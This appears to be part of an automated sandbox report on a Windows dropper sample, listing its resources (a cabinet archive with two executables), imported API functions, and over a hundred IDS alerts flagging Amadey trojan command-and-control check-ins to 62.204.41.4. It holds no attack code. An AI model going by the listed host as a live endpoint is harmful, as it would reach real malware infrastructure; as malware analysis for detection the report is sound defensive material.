RT_DIALOG	0x24f40	0x1b4	data	Russian	Russia
RT_DIALOG	0x250f4	0x166	data	English	United States
RT_DIALOG	0x2525c	0x168	data	Russian	Russia
RT_DIALOG	0x253c4	0x1c0	data	English	United States
RT_DIALOG	0x25584	0x1e0	data	Russian	Russia
RT_DIALOG	0x25764	0x130	data	English	United States
RT_DIALOG	0x25894	0x150	data	Russian	Russia
RT_DIALOG	0x259e4	0x120	data	English	United States
RT_DIALOG	0x25b04	0x122	data	Russian	Russia
RT_STRING	0x25c28	0x8c	Matlab v4 mat-file (little endian) l, numeric, rows 0, columns 0	English	United States
RT_STRING	0x25cb4	0x86	Matlab v4 mat-file (little endian) K\0041\0045\004@\0048\004B\0045\004 , numeric, rows 0, columns 0	Russian	Russia
RT_STRING	0x25d3c	0x520	data	English	United States
RT_STRING	0x2625c	0x52e	data	Russian	Russia
RT_STRING	0x2678c	0x5cc	data	English	United States
RT_STRING	0x26d58	0x592	data	Russian	Russia
RT_STRING	0x272ec	0x4b0	data	English	United States
RT_STRING	0x2779c	0x4b2	data	Russian	Russia
RT_STRING	0x27c50	0x44a	data	English	United States
RT_STRING	0x2809c	0x43e	data	Russian	Russia
RT_STRING	0x284dc	0x3ce	data	English	United States
RT_STRING	0x288ac	0x2fc	data	Russian	Russia
RT_RCDATA	0x28ba8	0x7	ASCII text, with no line terminators	English	United States
RT_RCDATA	0x28bb0	0x5d302	Microsoft Cabinet archive data, many, 381698 bytes, 2 files, at 0x2c +A "bPsg.exe" +A "xriv.exe", ID 1589, number 1, 18 datablocks, 0x1503 compression	English	United States
RT_RCDATA	0x85eb4	0x4	data	English	United States
RT_RCDATA	0x85eb8	0x24	data	English	United States
RT_RCDATA	0x85edc	0x7	ASCII text, with no line terminators	English	United States
RT_RCDATA	0x85ee4	0x7	ASCII text, with no line terminators	English	United States
RT_RCDATA	0x85eec	0x4	data	English	United States
RT_RCDATA	0x85ef0	0x9	ASCII text, with no line terminators	English	United States
RT_RCDATA	0x85efc	0x4	data	English	United States
RT_RCDATA	0x85f00	0x9	ASCII text, with no line terminators	English	United States
RT_RCDATA	0x85f0c	0x4	data	English	United States
RT_RCDATA	0x85f10	0x6	data	English	United States
RT_RCDATA	0x85f18	0x7	ASCII text, with no line terminators	English	United States
RT_RCDATA	0x85f20	0x7	ASCII text, with no line terminators	English	United States
RT_GROUP_ICON	0x85f28	0xbc	data	English	United States
RT_VERSION	0x85fe4	0x408	data	English	United States
RT_VERSION	0x863ec	0x410	data	Russian	Russia
RT_MANIFEST	0x867fc	0x7e2	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States

Imports

DLL	Import
ADVAPI32.dll	GetTokenInformation, RegDeleteValueA, RegOpenKeyExA, RegQueryInfoKeyA, FreeSid, OpenProcessToken, RegSetValueExA, RegCreateKeyExA, LookupPrivilegeValueA, AllocateAndInitializeSid, RegQueryValueExA, EqualSid, RegCloseKey, AdjustTokenPrivileges
KERNEL32.dll	_lopen, _llseek, CompareStringA, GetLastError, GetFileAttributesA, GetSystemDirectoryA, LoadLibraryA, DeleteFileA, GlobalAlloc, GlobalFree, CloseHandle, WritePrivateProfileStringA, IsDBCSLeadByte, GetWindowsDirectoryA, SetFileAttributesA, GetProcAddress, GlobalLock, LocalFree, RemoveDirectoryA, FreeLibrary, _lclose, CreateDirectoryA, GetPrivateProfileIntA, GetPrivateProfileStringA, GlobalUnlock, ReadFile, SizeofResource, WriteFile, GetDriveTypeA, lstrcmpA, SetFileTime, SetFilePointer, FindResourceA, CreateMutexA, GetVolumeInformationA, ExpandEnvironmentStringsA, GetCurrentDirectoryA, FreeResource, GetVersion, SetCurrentDirectoryA, GetTempPathA, LocalFileTimeToFileTime, CreateFileA, SetEvent, TerminateThread, GetVersionExA, LockResource, GetSystemInfo, CreateThread, ResetEvent, LoadResource, ExitProcess, GetModuleHandleW, CreateProcessA, FormatMessageA, GetTempFileNameA, DosDateTimeToFileTime, CreateEventA, GetExitCodeProcess, FindNextFileA, LocalAlloc, GetShortPathNameA, MulDiv, GetDiskFreeSpaceA, EnumResourceLanguagesA, GetTickCount, GetSystemTimeAsFileTime, GetCurrentThreadId, GetCurrentProcessId, QueryPerformanceCounter, TerminateProcess, SetUnhandledExceptionFilter, UnhandledExceptionFilter, GetStartupInfoW, Sleep, FindClose, GetCurrentProcess, FindFirstFileA, WaitForSingleObject, GetModuleFileNameA, LoadLibraryExA
GDI32.dll	GetDeviceCaps
USER32.dll	SetWindowLongA, GetDlgItemTextA, DialogBoxIndirectParamA, ShowWindow, MsgWaitForMultipleObjects, SetWindowPos, GetDC, GetWindowRect, DispatchMessageA, GetDesktopWindow, CharUpperA, SetDlgItemTextA, ExitWindowsEx, MessageBeep, EndDialog, CharPrevA, LoadStringA, CharNextA, EnableWindow, ReleaseDC, SetForegroundWindow, PeekMessageA, GetDlgItem, SendMessageA, SendDlgItemMessageA, MessageBoxA, SetWindowTextA, GetWindowLongA, CallWindowProcA, GetSystemMetrics
msvcrt.dll	_controlfp, ?terminate@@YAXXZ, _acmdln, _initterm, __setusermatherr, _except_handler4_common, memcpy, _ismbblead, __p__fmode, _cexit, _exit, exit, __set_app_type, __getmainargs, _amsg_exit, __p__commode, _XcptFilter, memcpy_s, _vsnprintf, memset
COMCTL32.dll
Cabinet.dll
VERSION.dll	GetFileVersionInfoA, VerQueryValueA, GetFileVersionInfoSizeA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
Russian	Russia

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.762.204.41.449808802027700 02/07/23-23:07:30.643129	TCP	2027700	ET TROJAN Amadey CnC Check-In	49808	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449869802027700 02/07/23-23:07:47.148730	TCP	2027700	ET TROJAN Amadey CnC Check-In	49869	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450136802027700 02/07/23-23:09:00.282670	TCP	2027700	ET TROJAN Amadey CnC Check-In	50136	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450427802027700 02/07/23-23:10:16.088952	TCP	2027700	ET TROJAN Amadey CnC Check-In	50427	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450041802027700 02/07/23-23:08:35.406746	TCP	2027700	ET TROJAN Amadey CnC Check-In	50041	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450197802027700 02/07/23-23:09:17.360535	TCP	2027700	ET TROJAN Amadey CnC Check-In	50197	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450332802027700 02/07/23-23:09:52.732684	TCP	2027700	ET TROJAN Amadey CnC Check-In	50332	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449774802027700 02/07/23-23:07:22.447558	TCP	2027700	ET TROJAN Amadey CnC Check-In	49774	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450393802027700 02/07/23-23:10:07.593303	TCP	2027700	ET TROJAN Amadey CnC Check-In	50393	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449713802027700 02/07/23-23:07:06.192941	TCP	2027700	ET TROJAN Amadey CnC Check-In	49713	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449746802027700 02/07/23-23:07:13.923684	TCP	2027700	ET TROJAN Amadey CnC Check-In	49746	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450074802027700 02/07/23-23:08:44.559819	TCP	2027700	ET TROJAN Amadey CnC Check-In	50074	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450270802027700 02/07/23-23:09:37.475504	TCP	2027700	ET TROJAN Amadey CnC Check-In	50270	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450304802027700 02/07/23-23:09:45.806702	TCP	2027700	ET TROJAN Amadey CnC Check-In	50304	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450422802027700 02/07/23-23:10:14.657368	TCP	2027700	ET TROJAN Amadey CnC Check-In	50422	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450013802027700 02/07/23-23:08:27.775982	TCP	2027700	ET TROJAN Amadey CnC Check-In	50013	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449897802027700 02/07/23-23:07:54.022407	TCP	2027700	ET TROJAN Amadey CnC Check-In	49897	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450398802027700 02/07/23-23:10:08.813551	TCP	2027700	ET TROJAN Amadey CnC Check-In	50398	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449779802027700 02/07/23-23:07:23.701655	TCP	2027700	ET TROJAN Amadey CnC Check-In	49779	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449975802027700 02/07/23-23:08:18.409780	TCP	2027700	ET TROJAN Amadey CnC Check-In	49975	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450108802027700 02/07/23-23:08:53.335185	TCP	2027700	ET TROJAN Amadey CnC Check-In	50108	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449970802027700 02/07/23-23:08:15.189928	TCP	2027700	ET TROJAN Amadey CnC Check-In	49970	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450103802027700 02/07/23-23:08:51.993571	TCP	2027700	ET TROJAN Amadey CnC Check-In	50103	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449892802027700 02/07/23-23:07:52.780225	TCP	2027700	ET TROJAN Amadey CnC Check-In	49892	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450079802027700 02/07/23-23:08:45.791597	TCP	2027700	ET TROJAN Amadey CnC Check-In	50079	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450309802027700 02/07/23-23:09:47.063197	TCP	2027700	ET TROJAN Amadey CnC Check-In	50309	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450254802027700 02/07/23-23:09:33.517906	TCP	2027700	ET TROJAN Amadey CnC Check-In	50254	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449852802027700 02/07/23-23:07:42.945716	TCP	2027700	ET TROJAN Amadey CnC Check-In	49852	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450180802027700 02/07/23-23:09:13.154966	TCP	2027700	ET TROJAN Amadey CnC Check-In	50180	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449926802027700 02/07/23-23:08:04.026093	TCP	2027700	ET TROJAN Amadey CnC Check-In	49926	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450287802027700 02/07/23-23:09:41.643242	TCP	2027700	ET TROJAN Amadey CnC Check-In	50287	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449959802027700 02/07/23-23:08:12.184455	TCP	2027700	ET TROJAN Amadey CnC Check-In	49959	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450410802027700 02/07/23-23:10:11.734233	TCP	2027700	ET TROJAN Amadey CnC Check-In	50410	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450226802027700 02/07/23-23:09:24.417895	TCP	2027700	ET TROJAN Amadey CnC Check-In	50226	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450471802027700 02/07/23-23:10:28.534174	TCP	2027700	ET TROJAN Amadey CnC Check-In	50471	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450018802027700 02/07/23-23:08:28.986007	TCP	2027700	ET TROJAN Amadey CnC Check-In	50018	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450152802027700 02/07/23-23:09:04.274600	TCP	2027700	ET TROJAN Amadey CnC Check-In	50152	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450443802027700 02/07/23-23:10:21.669848	TCP	2027700	ET TROJAN Amadey CnC Check-In	50443	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450365802027700 02/07/23-23:10:00.817411	TCP	2027700	ET TROJAN Amadey CnC Check-In	50365	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450282802027700 02/07/23-23:09:40.408974	TCP	2027700	ET TROJAN Amadey CnC Check-In	50282	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449824802027700 02/07/23-23:07:34.508277	TCP	2027700	ET TROJAN Amadey CnC Check-In	49824	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449741802027700 02/07/23-23:07:12.972313	TCP	2027700	ET TROJAN Amadey CnC Check-In	49741	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449954802027700 02/07/23-23:08:10.899376	TCP	2027700	ET TROJAN Amadey CnC Check-In	49954	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450337802027700 02/07/23-23:09:53.984195	TCP	2027700	ET TROJAN Amadey CnC Check-In	50337	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449718802027700 02/07/23-23:07:07.389632	TCP	2027700	ET TROJAN Amadey CnC Check-In	49718	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450046802027700 02/07/23-23:08:37.701237	TCP	2027700	ET TROJAN Amadey CnC Check-In	50046	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450360802027700 02/07/23-23:09:59.589638	TCP	2027700	ET TROJAN Amadey CnC Check-In	50360	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450259802027700 02/07/23-23:09:34.780949	TCP	2027700	ET TROJAN Amadey CnC Check-In	50259	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450124802027700 02/07/23-23:08:57.344638	TCP	2027700	ET TROJAN Amadey CnC Check-In	50124	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450439802027700 02/07/23-23:10:20.713212	TCP	2027700	ET TROJAN Amadey CnC Check-In	50439	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449982802027700 02/07/23-23:08:20.169197	TCP	2027700	ET TROJAN Amadey CnC Check-In	49982	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449921802027700 02/07/23-23:08:02.784331	TCP	2027700	ET TROJAN Amadey CnC Check-In	49921	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449734802027700 02/07/23-23:07:11.313399	TCP	2027700	ET TROJAN Amadey CnC Check-In	49734	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450001802027700 02/07/23-23:08:24.834270	TCP	2027700	ET TROJAN Amadey CnC Check-In	50001	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450157802027700 02/07/23-23:09:05.447048	TCP	2027700	ET TROJAN Amadey CnC Check-In	50157	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450353802027700 02/07/23-23:09:57.891553	TCP	2027700	ET TROJAN Amadey CnC Check-In	50353	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449725802027700 02/07/23-23:07:09.061494	TCP	2027700	ET TROJAN Amadey CnC Check-In	49725	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449790802027700 02/07/23-23:07:26.361222	TCP	2027700	ET TROJAN Amadey CnC Check-In	49790	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450344802027700 02/07/23-23:09:55.700525	TCP	2027700	ET TROJAN Amadey CnC Check-In	50344	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450143802027700 02/07/23-23:09:02.035667	TCP	2027700	ET TROJAN Amadey CnC Check-In	50143	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449781802027700 02/07/23-23:07:24.188556	TCP	2027700	ET TROJAN Amadey CnC Check-In	49781	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450095802027700 02/07/23-23:08:49.744924	TCP	2027700	ET TROJAN Amadey CnC Check-In	50095	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449963802027700 02/07/23-23:08:13.161472	TCP	2027700	ET TROJAN Amadey CnC Check-In	49963	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450115802027700 02/07/23-23:08:55.052783	TCP	2027700	ET TROJAN Amadey CnC Check-In	50115	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450185802027700 02/07/23-23:09:14.360322	TCP	2027700	ET TROJAN Amadey CnC Check-In	50185	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449762802027700 02/07/23-23:07:17.827370	TCP	2027700	ET TROJAN Amadey CnC Check-In	49762	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450381802027700 02/07/23-23:10:04.673244	TCP	2027700	ET TROJAN Amadey CnC Check-In	50381	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450316802027700 02/07/23-23:09:48.784877	TCP	2027700	ET TROJAN Amadey CnC Check-In	50316	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450020802027700 02/07/23-23:08:29.489590	TCP	2027700	ET TROJAN Amadey CnC Check-In	50020	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449938802027700 02/07/23-23:08:06.973604	TCP	2027700	ET TROJAN Amadey CnC Check-In	49938	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450058802027700 02/07/23-23:08:40.571514	TCP	2027700	ET TROJAN Amadey CnC Check-In	50058	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450067802027700 02/07/23-23:08:42.809418	TCP	2027700	ET TROJAN Amadey CnC Check-In	50067	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449880802027700 02/07/23-23:07:49.880282	TCP	2027700	ET TROJAN Amadey CnC Check-In	49880	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449864802027700 02/07/23-23:07:45.902188	TCP	2027700	ET TROJAN Amadey CnC Check-In	49864	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450214802027700 02/07/23-23:09:21.511864	TCP	2027700	ET TROJAN Amadey CnC Check-In	50214	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449947802027700 02/07/23-23:08:09.176994	TCP	2027700	ET TROJAN Amadey CnC Check-In	49947	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450140802027700 02/07/23-23:09:01.270109	TCP	2027700	ET TROJAN Amadey CnC Check-In	50140	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450296802027700 02/07/23-23:09:43.846361	TCP	2027700	ET TROJAN Amadey CnC Check-In	50296	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450131802027700 02/07/23-23:08:59.066086	TCP	2027700	ET TROJAN Amadey CnC Check-In	50131	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450401802027700 02/07/23-23:10:09.526189	TCP	2027700	ET TROJAN Amadey CnC Check-In	50401	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450086802027700 02/07/23-23:08:47.567671	TCP	2027700	ET TROJAN Amadey CnC Check-In	50086	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449919802027700 02/07/23-23:08:02.303851	TCP	2027700	ET TROJAN Amadey CnC Check-In	49919	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450299802027700 02/07/23-23:09:44.598785	TCP	2027700	ET TROJAN Amadey CnC Check-In	50299	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450169802027700 02/07/23-23:09:10.009649	TCP	2027700	ET TROJAN Amadey CnC Check-In	50169	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449991802027700 02/07/23-23:08:22.396521	TCP	2027700	ET TROJAN Amadey CnC Check-In	49991	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450039802027700 02/07/23-23:08:34.413705	TCP	2027700	ET TROJAN Amadey CnC Check-In	50039	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450112802027700 02/07/23-23:08:54.333220	TCP	2027700	ET TROJAN Amadey CnC Check-In	50112	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449966802027700 02/07/23-23:08:13.888624	TCP	2027700	ET TROJAN Amadey CnC Check-In	49966	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449753802027700 02/07/23-23:07:15.610893	TCP	2027700	ET TROJAN Amadey CnC Check-In	49753	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449706802027700 02/07/23-23:07:04.472246	TCP	2027700	ET TROJAN Amadey CnC Check-In	49706	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449836802027700 02/07/23-23:07:38.152613	TCP	2027700	ET TROJAN Amadey CnC Check-In	49836	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450325802027700 02/07/23-23:09:51.040294	TCP	2027700	ET TROJAN Amadey CnC Check-In	50325	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450242802027700 02/07/23-23:09:30.589447	TCP	2027700	ET TROJAN Amadey CnC Check-In	50242	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450455802027700 02/07/23-23:10:24.593085	TCP	2027700	ET TROJAN Amadey CnC Check-In	50455	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450372802027700 02/07/23-23:10:02.525802	TCP	2027700	ET TROJAN Amadey CnC Check-In	50372	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449900802027700 02/07/23-23:07:54.774755	TCP	2027700	ET TROJAN Amadey CnC Check-In	49900	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450323802027700 02/07/23-23:09:50.536075	TCP	2027700	ET TROJAN Amadey CnC Check-In	50323	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449961802027700 02/07/23-23:08:12.685375	TCP	2027700	ET TROJAN Amadey CnC Check-In	49961	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450032802027700 02/07/23-23:08:32.408441	TCP	2027700	ET TROJAN Amadey CnC Check-In	50032	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450384802027700 02/07/23-23:10:05.420068	TCP	2027700	ET TROJAN Amadey CnC Check-In	50384	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449722802027700 02/07/23-23:07:08.360519	TCP	2027700	ET TROJAN Amadey CnC Check-In	49722	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449878802027700 02/07/23-23:07:49.349230	TCP	2027700	ET TROJAN Amadey CnC Check-In	49878	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450127802027700 02/07/23-23:08:58.089434	TCP	2027700	ET TROJAN Amadey CnC Check-In	50127	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449750802027700 02/07/23-23:07:14.882617	TCP	2027700	ET TROJAN Amadey CnC Check-In	49750	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449704802027700 02/07/23-23:07:03.968547	TCP	2027700	ET TROJAN Amadey CnC Check-In	49704	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450050802027700 02/07/23-23:08:38.652718	TCP	2027700	ET TROJAN Amadey CnC Check-In	50050	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449737802027700 02/07/23-23:07:12.033255	TCP	2027700	ET TROJAN Amadey CnC Check-In	49737	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450004802027700 02/07/23-23:08:25.569822	TCP	2027700	ET TROJAN Amadey CnC Check-In	50004	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450341802027700 02/07/23-23:09:54.975800	TCP	2027700	ET TROJAN Amadey CnC Check-In	50341	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450356802027700 02/07/23-23:09:58.629045	TCP	2027700	ET TROJAN Amadey CnC Check-In	50356	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449994802027700 02/07/23-23:08:23.133003	TCP	2027700	ET TROJAN Amadey CnC Check-In	49994	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450145802027700 02/07/23-23:09:02.533585	TCP	2027700	ET TROJAN Amadey CnC Check-In	50145	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449793802027700 02/07/23-23:07:27.063291	TCP	2027700	ET TROJAN Amadey CnC Check-In	49793	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449933802027700 02/07/23-23:08:05.759793	TCP	2027700	ET TROJAN Amadey CnC Check-In	49933	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450418802027700 02/07/23-23:10:13.656697	TCP	2027700	ET TROJAN Amadey CnC Check-In	50418	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449755802027700 02/07/23-23:07:16.092892	TCP	2027700	ET TROJAN Amadey CnC Check-In	49755	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450469802027700 02/07/23-23:10:28.062597	TCP	2027700	ET TROJAN Amadey CnC Check-In	50469	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450155802027700 02/07/23-23:09:04.977918	TCP	2027700	ET TROJAN Amadey CnC Check-In	50155	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449951802027700 02/07/23-23:08:10.180584	TCP	2027700	ET TROJAN Amadey CnC Check-In	49951	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450060802027700 02/07/23-23:08:41.073047	TCP	2027700	ET TROJAN Amadey CnC Check-In	50060	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449827802027700 02/07/23-23:07:35.253285	TCP	2027700	ET TROJAN Amadey CnC Check-In	49827	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450351802027700 02/07/23-23:09:57.406628	TCP	2027700	ET TROJAN Amadey CnC Check-In	50351	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449732802027700 02/07/23-23:07:10.829866	TCP	2027700	ET TROJAN Amadey CnC Check-In	49732	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450328802027700 02/07/23-23:09:51.766213	TCP	2027700	ET TROJAN Amadey CnC Check-In	50328	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450178802027700 02/07/23-23:09:12.666182	TCP	2027700	ET TROJAN Amadey CnC Check-In	50178	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450374802027700 02/07/23-23:10:02.999700	TCP	2027700	ET TROJAN Amadey CnC Check-In	50374	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449810802027700 02/07/23-23:07:31.110999	TCP	2027700	ET TROJAN Amadey CnC Check-In	49810	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450173802027700 02/07/23-23:09:11.479350	TCP	2027700	ET TROJAN Amadey CnC Check-In	50173	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449905802027700 02/07/23-23:07:57.664790	TCP	2027700	ET TROJAN Amadey CnC Check-In	49905	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450268802027700 02/07/23-23:09:36.981445	TCP	2027700	ET TROJAN Amadey CnC Check-In	50268	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449727802027700 02/07/23-23:07:09.536306	TCP	2027700	ET TROJAN Amadey CnC Check-In	49727	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449709802027700 02/07/23-23:07:05.205403	TCP	2027700	ET TROJAN Amadey CnC Check-In	49709	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450251802027700 02/07/23-23:09:32.760947	TCP	2027700	ET TROJAN Amadey CnC Check-In	50251	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450446802027700 02/07/23-23:10:22.408033	TCP	2027700	ET TROJAN Amadey CnC Check-In	50446	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450318802027700 02/07/23-23:09:49.262876	TCP	2027700	ET TROJAN Amadey CnC Check-In	50318	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450346802027700 02/07/23-23:09:56.168424	TCP	2027700	ET TROJAN Amadey CnC Check-In	50346	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449956802027700 02/07/23-23:08:11.390677	TCP	2027700	ET TROJAN Amadey CnC Check-In	49956	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449800802027700 02/07/23-23:07:28.753249	TCP	2027700	ET TROJAN Amadey CnC Check-In	49800	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450122802027700 02/07/23-23:08:56.823302	TCP	2027700	ET TROJAN Amadey CnC Check-In	50122	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450278802027700 02/07/23-23:09:39.423463	TCP	2027700	ET TROJAN Amadey CnC Check-In	50278	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450022802027700 02/07/23-23:08:30.007207	TCP	2027700	ET TROJAN Amadey CnC Check-In	50022	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450313802027700 02/07/23-23:09:48.033865	TCP	2027700	ET TROJAN Amadey CnC Check-In	50313	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450200802027700 02/07/23-23:09:18.098931	TCP	2027700	ET TROJAN Amadey CnC Check-In	50200	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449760802027700 02/07/23-23:07:17.283372	TCP	2027700	ET TROJAN Amadey CnC Check-In	49760	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449765802027700 02/07/23-23:07:19.352231	TCP	2027700	ET TROJAN Amadey CnC Check-In	49765	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449902802027700 02/07/23-23:07:55.670942	TCP	2027700	ET TROJAN Amadey CnC Check-In	49902	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449984802027700 02/07/23-23:08:20.651522	TCP	2027700	ET TROJAN Amadey CnC Check-In	49984	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450176802027700 02/07/23-23:09:12.185200	TCP	2027700	ET TROJAN Amadey CnC Check-In	50176	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449701802027700 02/07/23-23:07:03.267557	TCP	2027700	ET TROJAN Amadey CnC Check-In	49701	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450415802027700 02/07/23-23:10:12.934992	TCP	2027700	ET TROJAN Amadey CnC Check-In	50415	80	192.168.2.7	62.204.41.4
